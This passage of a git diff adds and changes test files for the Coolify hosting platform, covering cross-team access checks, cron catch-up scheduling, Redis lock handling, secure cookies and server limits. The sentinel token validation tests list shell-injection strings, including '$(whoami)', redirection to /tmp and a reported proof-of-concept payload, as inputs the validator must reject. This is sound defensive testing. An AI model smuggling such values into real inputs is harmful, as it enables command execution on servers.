terminalDebugEnabled = ['local', 'development'].includes(") + ->toContain('if (!terminalDebugEnabled) {') + ->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');"); +}); diff --git a/tests/Feature/ResourceOperationsCrossTenantTest.php b/tests/Feature/ResourceOperationsCrossTenantTest.php new file mode 100644 index 000000000..056c7757c --- /dev/null +++ b/tests/Feature/ResourceOperationsCrossTenantTest.php @@ -0,0 +1,85 @@ +userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + + $this->applicationA = Application::factory()->create([ + 'environment_id' => $this->environmentA->id, + 'destination_id' => $this->destinationA->id, + 'destination_type' => $this->destinationA->getMorphClass(), + ]); + + // Team B (victim's team) + $this->teamB = Team::factory()->create(); + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +test('cloneTo rejects destination belonging to another team', function () { + Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA]) + ->call('cloneTo', $this->destinationB->id) + ->assertHasErrors('destination_id'); + + // Ensure no cross-tenant application was created + expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse(); +}); + +test('cloneTo allows destination belonging to own team', function () { + $secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]); + + Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA]) + ->call('cloneTo', $secondDestination->id) + ->assertHasNoErrors('destination_id') + ->assertRedirect(); +}); + +test('moveTo rejects environment belonging to another team', function () { + Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA]) + ->call('moveTo', $this->environmentB->id); + + // Resource should still be in original environment + $this->applicationA->refresh(); + expect($this->applicationA->environment_id)->toBe($this->environmentA->id); +}); + +test('moveTo allows environment belonging to own team', function () { + $secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]); + + Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA]) + ->call('moveTo', $secondEnvironment->id) + ->assertRedirect(); + + $this->applicationA->refresh(); + expect($this->applicationA->environment_id)->toBe($secondEnvironment->id); +}); + +test('StandaloneDockerPolicy denies update for cross-team user', function () { + expect($this->userA->can('update', $this->destinationB))->toBeFalse(); +}); + +test('StandaloneDockerPolicy allows update for same-team user', function () { + expect($this->userA->can('update', $this->destinationA))->toBeTrue(); +}); diff --git a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php new file mode 100644 index 000000000..84db743fa --- /dev/null +++ b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php @@ -0,0 +1,168 @@ +toBeTrue(); +}); + +it('catches delayed job when cache has a baseline from previous run', function () { + Cache::put('test-backup:1', Carbon::create(2026, 2, 27, 2, 0, 0, 'UTC')->toIso8601String(), 86400); + + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC')); + + // isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 today + // lastDispatched = 02:00 yesterday → 02:00 today > yesterday → fires + $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1'); + + expect($result)->toBeTrue(); +}); + +it('does not double-dispatch on subsequent runs within same cron window', function () { + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + + $first = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2'); + expect($first)->toBeTrue(); + + // Second run at 02:01 — should NOT dispatch (previousDue=02:00, lastDispatched=02:00) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC')); + + $second = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2'); + expect($second)->toBeFalse(); +}); + +it('fires every_minute cron correctly on consecutive minutes', function () { + // Minute 1 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue(); + + // Minute 2 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 1, 0, 'UTC')); + expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue(); + + // Minute 3 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 2, 0, 'UTC')); + expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue(); +}); + +it('does not fire non-due jobs on restart when cache is empty', function () { + // Time is 10:00, cron is daily at 02:00 — NOT due right now + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + + $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4'); + expect($result)->toBeFalse(); +}); + +it('fires due jobs on restart when cache is empty', function () { + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + + $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4b'); + expect($result)->toBeTrue(); +}); + +it('does not dispatch when cron is not due and was not recently due', function () { + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + + Cache::put('test-backup:5', Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')->toIso8601String(), 86400); + + $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:5'); + expect($result)->toBeFalse(); +}); + +it('falls back to isDue when no dedup key is provided', function () { + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeTrue(); + + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC')); + expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeFalse(); +}); + +it('catches delayed docker cleanup when job runs past the cron minute', function () { + Cache::put('docker-cleanup:42', Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')->toIso8601String(), 86400); + + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 22, 0, 'UTC')); + + // isDue() would return false at :22, but getPreviousRunDate() = :20 + // lastDispatched = :10 → :20 > :10 → fires + $result = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:42'); + + expect($result)->toBeTrue(); +}); + +it('does not double-dispatch docker cleanup within same cron window', function () { + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')); + + $first = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99'); + expect($first)->toBeTrue(); + + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 11, 0, 'UTC')); + + $second = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99'); + expect($second)->toBeFalse(); +}); + +it('seeds cache with previousDue when not due on first run', function () { + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + + $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:1'); + expect($result)->toBeFalse(); + + // Verify cache was seeded with previousDue (02:00 today) + $cached = Cache::get('test-seed:1'); + expect($cached)->not->toBeNull(); + expect(Carbon::parse($cached)->format('H:i'))->toBe('02:00'); +}); + +it('catches next occurrence after cache was seeded on non-due first run', function () { + // Step 1: 10:00 — not due, but seeds cache with previousDue (02:00 today) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeFalse(); + + // Step 2: Next day at 02:03 — delayed 3 minutes past cron. + // previousDue = 02:00 Mar 1, lastDispatched = 02:00 Feb 28 → fires + Carbon::setTestNow(Carbon::create(2026, 3, 1, 2, 3, 0, 'UTC')); + expect(shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:2'))->toBeTrue(); +}); + +it('cache survives 29 days with static 30-day TTL', function () { + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + + shouldRunCronNow('0 2 * * *', 'UTC', 'test-ttl:static'); + expect(Cache::get('test-ttl:static'))->not->toBeNull(); + + // 29 days later — cache (30-day TTL) should still exist + Carbon::setTestNow(Carbon::create(2026, 3, 29, 0, 0, 0, 'UTC')); + expect(Cache::get('test-ttl:static'))->not->toBeNull(); +}); + +it('respects server timezone for cron evaluation', function () { + // UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC')); + + Cache::put('test-backup:7', Carbon::create(2026, 2, 28, 6, 0, 0, 'UTC')->toIso8601String(), 86400); + + // Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → new window → should fire + expect(shouldRunCronNow('0 6 * * *', 'Asia/Singapore', 'test-backup:6'))->toBeTrue(); + + // Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28, already dispatched → should NOT fire + expect(shouldRunCronNow('0 6 * * *', 'UTC', 'test-backup:7'))->toBeFalse(); +}); + +it('passes explicit execution time instead of using Carbon::now()', function () { + // Real "now" is irrelevant — we pass an explicit execution time + Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC')); + + $executionTime = Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'); + $result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-exec-time:1', $executionTime); + + expect($result)->toBeTrue(); +}); diff --git a/tests/Feature/ScheduledJobManagerStaleLockTest.php b/tests/Feature/ScheduledJobManagerStaleLockTest.php new file mode 100644 index 000000000..e297c07bd --- /dev/null +++ b/tests/Feature/ScheduledJobManagerStaleLockTest.php @@ -0,0 +1,49 @@ +set($lockKey, 'stale-owner'); + + expect($redis->ttl($lockKey))->toBe(-1); + + $job = new ScheduledJobManager; + $job->middleware(); + + expect($redis->exists($lockKey))->toBe(0); +}); + +it('preserves valid lock with positive TTL', function () { + $cachePrefix = config('cache.prefix'); + $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager'; + + $redis = Redis::connection('default'); + $redis->set($lockKey, 'active-owner'); + $redis->expire($lockKey, 60); + + expect($redis->ttl($lockKey))->toBeGreaterThan(0); + + $job = new ScheduledJobManager; + $job->middleware(); + + expect($redis->exists($lockKey))->toBe(1); + + $redis->del($lockKey); +}); + +it('does not fail when no lock exists', function () { + $cachePrefix = config('cache.prefix'); + $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager'; + + Redis::connection('default')->del($lockKey); + + $job = new ScheduledJobManager; + $middleware = $job->middleware(); + + expect($middleware)->toBeArray()->toHaveCount(1); +}); diff --git a/tests/Feature/ScheduledJobMonitoringTest.php b/tests/Feature/ScheduledJobMonitoringTest.php index 1348375d4..036c3b638 100644 --- a/tests/Feature/ScheduledJobMonitoringTest.php +++ b/tests/Feature/ScheduledJobMonitoringTest.php @@ -173,6 +173,42 @@ @unlink($logPath); }); +test('scheduler log parser excludes started events from runs', function () { + $logPath = storage_path('logs/scheduled-test-started-filter.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + // Temporarily rename existing logs so they don't interfere + $existingLogs = glob(storage_path('logs/scheduled-*.log')); + $renamed = []; + foreach ($existingLogs as $log) { + $tmp = $log.'.bak'; + rename($log, $tmp); + $renamed[$tmp] = $log; + } + + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $lines = [ + '['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager started {}', + '['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager completed {"duration_ms":74,"dispatched":1,"skipped":13}', + ]; + file_put_contents($logPath, implode("\n", $lines)."\n"); + + $parser = new SchedulerLogParser; + $runs = $parser->getRecentRuns(); + + expect($runs)->toHaveCount(1); + expect($runs->first()['message'])->toContain('completed'); + + // Cleanup + @unlink($logPath); + foreach ($renamed as $tmp => $original) { + rename($tmp, $original); + } +}); + test('scheduler log parser filters by team id', function () { $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); $logDir = dirname($logPath); @@ -198,3 +234,39 @@ // Cleanup @unlink($logPath); }); + +test('skipped jobs show fallback when resource is deleted', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + // Temporarily rename existing logs so they don't interfere + $existingLogs = glob(storage_path('logs/scheduled-*.log')); + $renamed = []; + foreach ($existingLogs as $log) { + $tmp = $log.'.bak'; + rename($log, $tmp); + $renamed[$tmp] = $log; + } + + $lines = [ + '['.now()->format('Y-m-d H:i:s').'] production.INFO: Task skipped {"type":"task","skip_reason":"application_not_running","task_id":99999,"task_name":"my-cron-job","team_id":0}', + ]; + file_put_contents($logPath, implode("\n", $lines)."\n"); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + ->assertSee('my-cron-job') + ->assertSee('Application not running'); + + // Cleanup + @unlink($logPath); + foreach ($renamed as $tmp => $original) { + rename($tmp, $original); + } +}); diff --git a/tests/Feature/ScheduledTaskApiTest.php b/tests/Feature/ScheduledTaskApiTest.php index fbd6e383e..741082cff 100644 --- a/tests/Feature/ScheduledTaskApiTest.php +++ b/tests/Feature/ScheduledTaskApiTest.php @@ -2,6 +2,7 @@ use App\Models\Application; use App\Models\Environment; +use App\Models\InstanceSettings; use App\Models\Project; use App\Models\ScheduledTask; use App\Models\ScheduledTaskExecution; @@ -15,6 +16,9 @@ uses(RefreshDatabase::class); beforeEach(function () { + // ApiAllowed middleware requires InstanceSettings with id=0 + InstanceSettings::create(['id' => 0, 'is_api_enabled' => true]); + $this->team = Team::factory()->create(); $this->user = User::factory()->create(); $this->team->members()->attach($this->user->id, ['role' => 'owner']); @@ -25,12 +29,14 @@ $this->bearerToken = $this->token->plainTextToken; $this->server = Server::factory()->create(['team_id' => $this->team->id]); - $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + // Server::booted() auto-creates a StandaloneDocker, reuse it + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + // Project::booted() auto-creates a 'production' Environment, reuse it $this->project = Project::factory()->create(['team_id' => $this->team->id]); - $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + $this->environment = $this->project->environments()->first(); }); -function authHeaders($bearerToken): array +function scheduledTaskAuthHeaders($bearerToken): array { return [ 'Authorization' => 'Bearer '.$bearerToken, @@ -46,7 +52,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks"); $response->assertStatus(200); @@ -66,7 +72,7 @@ function authHeaders($bearerToken): array 'name' => 'Test Task', ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks"); $response->assertStatus(200); @@ -75,7 +81,7 @@ function authHeaders($bearerToken): array }); test('returns 404 for unknown application uuid', function () { - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->getJson('/api/v1/applications/nonexistent-uuid/scheduled-tasks'); $response->assertStatus(404); @@ -90,7 +96,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ 'name' => 'Backup', 'command' => 'php artisan backup', @@ -116,7 +122,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ 'command' => 'echo test', 'frequency' => '* * * * *', @@ -132,7 +138,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ 'name' => 'Test', 'command' => 'echo test', @@ -150,7 +156,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ 'name' => 'Test', 'command' => 'echo test', @@ -168,7 +174,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ 'name' => 'Test', 'command' => 'echo test', @@ -199,7 +205,7 @@ function authHeaders($bearerToken): array 'name' => 'Old Name', ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}", [ 'name' => 'New Name', ]); @@ -215,7 +221,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent", [ 'name' => 'Test', ]); @@ -237,7 +243,7 @@ function authHeaders($bearerToken): array 'team_id' => $this->team->id, ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}"); $response->assertStatus(200); @@ -253,7 +259,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent"); $response->assertStatus(404); @@ -279,7 +285,7 @@ function authHeaders($bearerToken): array 'message' => 'OK', ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}/executions"); $response->assertStatus(200); @@ -294,7 +300,7 @@ function authHeaders($bearerToken): array 'destination_type' => $this->destination->getMorphClass(), ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent/executions"); $response->assertStatus(404); @@ -316,7 +322,7 @@ function authHeaders($bearerToken): array 'name' => 'Service Task', ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->getJson("/api/v1/services/{$service->uuid}/scheduled-tasks"); $response->assertStatus(200); @@ -332,7 +338,7 @@ function authHeaders($bearerToken): array 'environment_id' => $this->environment->id, ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->postJson("/api/v1/services/{$service->uuid}/scheduled-tasks", [ 'name' => 'Service Backup', 'command' => 'pg_dump', @@ -356,7 +362,7 @@ function authHeaders($bearerToken): array 'team_id' => $this->team->id, ]); - $response = $this->withHeaders(authHeaders($this->bearerToken)) + $response = $this->withHeaders(scheduledTaskAuthHeaders($this->bearerToken)) ->deleteJson("/api/v1/services/{$service->uuid}/scheduled-tasks/{$task->uuid}"); $response->assertStatus(200); diff --git a/tests/Feature/SecureCookieAutoDetectionTest.php b/tests/Feature/SecureCookieAutoDetectionTest.php new file mode 100644 index 000000000..4db0a7681 --- /dev/null +++ b/tests/Feature/SecureCookieAutoDetectionTest.php @@ -0,0 +1,64 @@ + 0], ['fqdn' => null]); + // Ensure session.secure starts unconfigured for each test + config(['session.secure' => null]); +}); + +it('sets session.secure to true when request arrives over HTTPS via proxy', function () { + $this->get('/login', [ + 'X-Forwarded-Proto' => 'https', + 'X-Forwarded-For' => '1.2.3.4', + ]); + + expect(config('session.secure'))->toBeTrue(); +}); + +it('does not set session.secure for plain HTTP requests', function () { + $this->get('/login'); + + expect(config('session.secure'))->toBeNull(); +}); + +it('does not override explicit SESSION_SECURE_COOKIE=false for HTTPS requests', function () { + config(['session.secure' => false]); + + $this->get('/login', [ + 'X-Forwarded-Proto' => 'https', + 'X-Forwarded-For' => '1.2.3.4', + ]); + + // Explicit false must not be overridden — our check is `=== null` only + expect(config('session.secure'))->toBeFalse(); +}); + +it('does not override explicit SESSION_SECURE_COOKIE=true', function () { + config(['session.secure' => true]); + + $this->get('/login'); + + expect(config('session.secure'))->toBeTrue(); +}); + +it('marks session cookie with Secure flag when accessed over HTTPS proxy', function () { + $response = $this->get('/login', [ + 'X-Forwarded-Proto' => 'https', + 'X-Forwarded-For' => '1.2.3.4', + ]); + + $response->assertSuccessful(); + + $cookieName = config('session.cookie'); + $sessionCookie = collect($response->headers->all('set-cookie')) + ->first(fn ($c) => str_contains($c, $cookieName)); + + expect($sessionCookie)->not->toBeNull() + ->and(strtolower($sessionCookie))->toContain('; secure'); +}); diff --git a/tests/Feature/SentinelTokenValidationTest.php b/tests/Feature/SentinelTokenValidationTest.php new file mode 100644 index 000000000..43048fcaa --- /dev/null +++ b/tests/Feature/SentinelTokenValidationTest.php @@ -0,0 +1,95 @@ +create(); + $this->team = $user->teams()->first(); + + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +describe('ServerSetting::isValidSentinelToken', function () { + it('accepts alphanumeric tokens', function () { + expect(ServerSetting::isValidSentinelToken('abc123'))->toBeTrue(); + }); + + it('accepts tokens with dots, hyphens, and underscores', function () { + expect(ServerSetting::isValidSentinelToken('my-token_v2.0'))->toBeTrue(); + }); + + it('accepts long base64-like encrypted tokens', function () { + $token = 'eyJpdiI6IjRGN0V4YnRkZ1p0UXdBPT0iLCJ2YWx1ZSI6IjZqQT0iLCJtYWMiOiIxMjM0NTY3ODkwIn0'; + expect(ServerSetting::isValidSentinelToken($token))->toBeTrue(); + }); + + it('accepts tokens with base64 characters (+, /, =)', function () { + expect(ServerSetting::isValidSentinelToken('abc+def/ghi='))->toBeTrue(); + }); + + it('rejects tokens with double quotes', function () { + expect(ServerSetting::isValidSentinelToken('abc" ; id ; echo "'))->toBeFalse(); + }); + + it('rejects tokens with single quotes', function () { + expect(ServerSetting::isValidSentinelToken("abc' ; id ; echo '"))->toBeFalse(); + }); + + it('rejects tokens with semicolons', function () { + expect(ServerSetting::isValidSentinelToken('abc;id'))->toBeFalse(); + }); + + it('rejects tokens with backticks', function () { + expect(ServerSetting::isValidSentinelToken('abc`id`'))->toBeFalse(); + }); + + it('rejects tokens with dollar sign command substitution', function () { + expect(ServerSetting::isValidSentinelToken('abc$(whoami)'))->toBeFalse(); + }); + + it('rejects tokens with spaces', function () { + expect(ServerSetting::isValidSentinelToken('abc def'))->toBeFalse(); + }); + + it('rejects tokens with newlines', function () { + expect(ServerSetting::isValidSentinelToken("abc\nid"))->toBeFalse(); + }); + + it('rejects tokens with pipe operator', function () { + expect(ServerSetting::isValidSentinelToken('abc|id'))->toBeFalse(); + }); + + it('rejects tokens with ampersand', function () { + expect(ServerSetting::isValidSentinelToken('abc&&id'))->toBeFalse(); + }); + + it('rejects tokens with redirection operators', function () { + expect(ServerSetting::isValidSentinelToken('abc>/tmp/pwn'))->toBeFalse(); + }); + + it('rejects empty strings', function () { + expect(ServerSetting::isValidSentinelToken(''))->toBeFalse(); + }); + + it('rejects the reported PoC payload', function () { + expect(ServerSetting::isValidSentinelToken('abc" ; id >/tmp/coolify_poc_sentinel ; echo "'))->toBeFalse(); + }); +}); + +describe('generated sentinel tokens are valid', function () { + it('generates tokens that pass format validation', function () { + $settings = $this->server->settings; + $settings->generateSentinelToken(save: false, ignoreEvent: true); + $token = $settings->sentinel_token; + + expect($token)->not->toBeEmpty(); + expect(ServerSetting::isValidSentinelToken($token))->toBeTrue(); + }); +}); diff --git a/tests/Feature/ServerLimitCheckJobTest.php b/tests/Feature/ServerLimitCheckJobTest.php new file mode 100644 index 000000000..6b2c074be --- /dev/null +++ b/tests/Feature/ServerLimitCheckJobTest.php @@ -0,0 +1,83 @@ +set('constants.coolify.self_hosted', false); + + Notification::fake(); + + $this->team = Team::factory()->create(['custom_server_limit' => 5]); +}); + +function createServerForTeam(Team $team, bool $forceDisabled = false): Server +{ + $server = Server::factory()->create(['team_id' => $team->id]); + if ($forceDisabled) { + $server->settings()->update(['force_disabled' => true]); + } + + return $server->fresh(['settings']); +} + +it('re-enables force-disabled servers when under the limit', function () { + createServerForTeam($this->team); + $server2 = createServerForTeam($this->team, forceDisabled: true); + $server3 = createServerForTeam($this->team, forceDisabled: true); + + expect($server2->settings->force_disabled)->toBeTruthy(); + expect($server3->settings->force_disabled)->toBeTruthy(); + + // 3 servers, limit 5 → all should be re-enabled + ServerLimitCheckJob::dispatchSync($this->team); + + expect($server2->fresh()->settings->force_disabled)->toBeFalsy(); + expect($server3->fresh()->settings->force_disabled)->toBeFalsy(); +}); + +it('re-enables force-disabled servers when exactly at the limit', function () { + $this->team->update(['custom_server_limit' => 3]); + + createServerForTeam($this->team); + createServerForTeam($this->team); + $server3 = createServerForTeam($this->team, forceDisabled: true); + + // 3 servers, limit 3 → disabled one should be re-enabled + ServerLimitCheckJob::dispatchSync($this->team); + + expect($server3->fresh()->settings->force_disabled)->toBeFalsy(); +}); + +it('disables newest servers when over the limit', function () { + $this->team->update(['custom_server_limit' => 2]); + + $oldest = createServerForTeam($this->team); + sleep(1); + $middle = createServerForTeam($this->team); + sleep(1); + $newest = createServerForTeam($this->team); + + // 3 servers, limit 2 → newest 1 should be disabled + ServerLimitCheckJob::dispatchSync($this->team); + + expect($oldest->fresh()->settings->force_disabled)->toBeFalsy(); + expect($middle->fresh()->settings->force_disabled)->toBeFalsy(); + expect($newest->fresh()->settings->force_disabled)->toBeTruthy(); +}); + +it('does not change servers when under limit and none are force-disabled', function () { + $server1 = createServerForTeam($this->team); + $server2 = createServerForTeam($this->team); + + // 2 servers, limit 5 → nothing to do + ServerLimitCheckJob::dispatchSync($this->team); + + expect($server1->fresh()->settings->force_disabled)->toBeFalsy(); + expect($server2->fresh()->settings->force_disabled)->toBeFalsy(); +}); diff --git a/tests/Feature/ServerManagerJobShouldRunNowTest.php b/tests/Feature/ServerManagerJobShouldRunNowTest.php new file mode 100644 index 000000000..2743a8650 --- /dev/null +++ b/tests/Feature/ServerManagerJobShouldRunNowTest.php @@ -0,0 +1,88 @@ +toIso8601String(), 86400); + + // Job runs 3 minutes late at 00:03 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 3, 0, 'UTC')); + + // isDue() would return false at 00:03, but getPreviousRunDate() = 00:00 today + // lastDispatched = yesterday 00:00 → today 00:00 > yesterday → fires + $result = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:1'); + + expect($result)->toBeTrue(); +}); + +it('catches delayed weekly patch check when job runs past the cron minute', function () { + Cache::put('server-patch-check:1', Carbon::create(2026, 2, 22, 0, 0, 0, 'UTC')->toIso8601String(), 86400); + + // This Sunday at 00:02 — job was delayed 2 minutes (2026-03-01 is a Sunday) + Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC')); + + $result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:1'); + + expect($result)->toBeTrue(); +}); + +it('catches delayed storage check when job runs past the cron minute', function () { + Cache::put('server-storage-check:5', Carbon::create(2026, 2, 27, 23, 0, 0, 'UTC')->toIso8601String(), 86400); + + Carbon::setTestNow(Carbon::create(2026, 2, 28, 23, 4, 0, 'UTC')); + + $result = shouldRunCronNow('0 23 * * *', 'UTC', 'server-storage-check:5'); + + expect($result)->toBeTrue(); +}); + +it('seeds cache on non-due first run so weekly catch-up works', function () { + // Wednesday at 10:00 — weekly cron (Sunday 00:00) is not due + Carbon::setTestNow(Carbon::create(2026, 2, 25, 10, 0, 0, 'UTC')); + + $result = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test'); + expect($result)->toBeFalse(); + + // Verify cache was seeded + expect(Cache::get('server-patch-check:seed-test'))->not->toBeNull(); + + // Next Sunday at 00:02 — delayed 2 minutes past cron + // Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 22 → fires + Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 2, 0, 'UTC')); + + $result2 = shouldRunCronNow('0 0 * * 0', 'UTC', 'server-patch-check:seed-test'); + 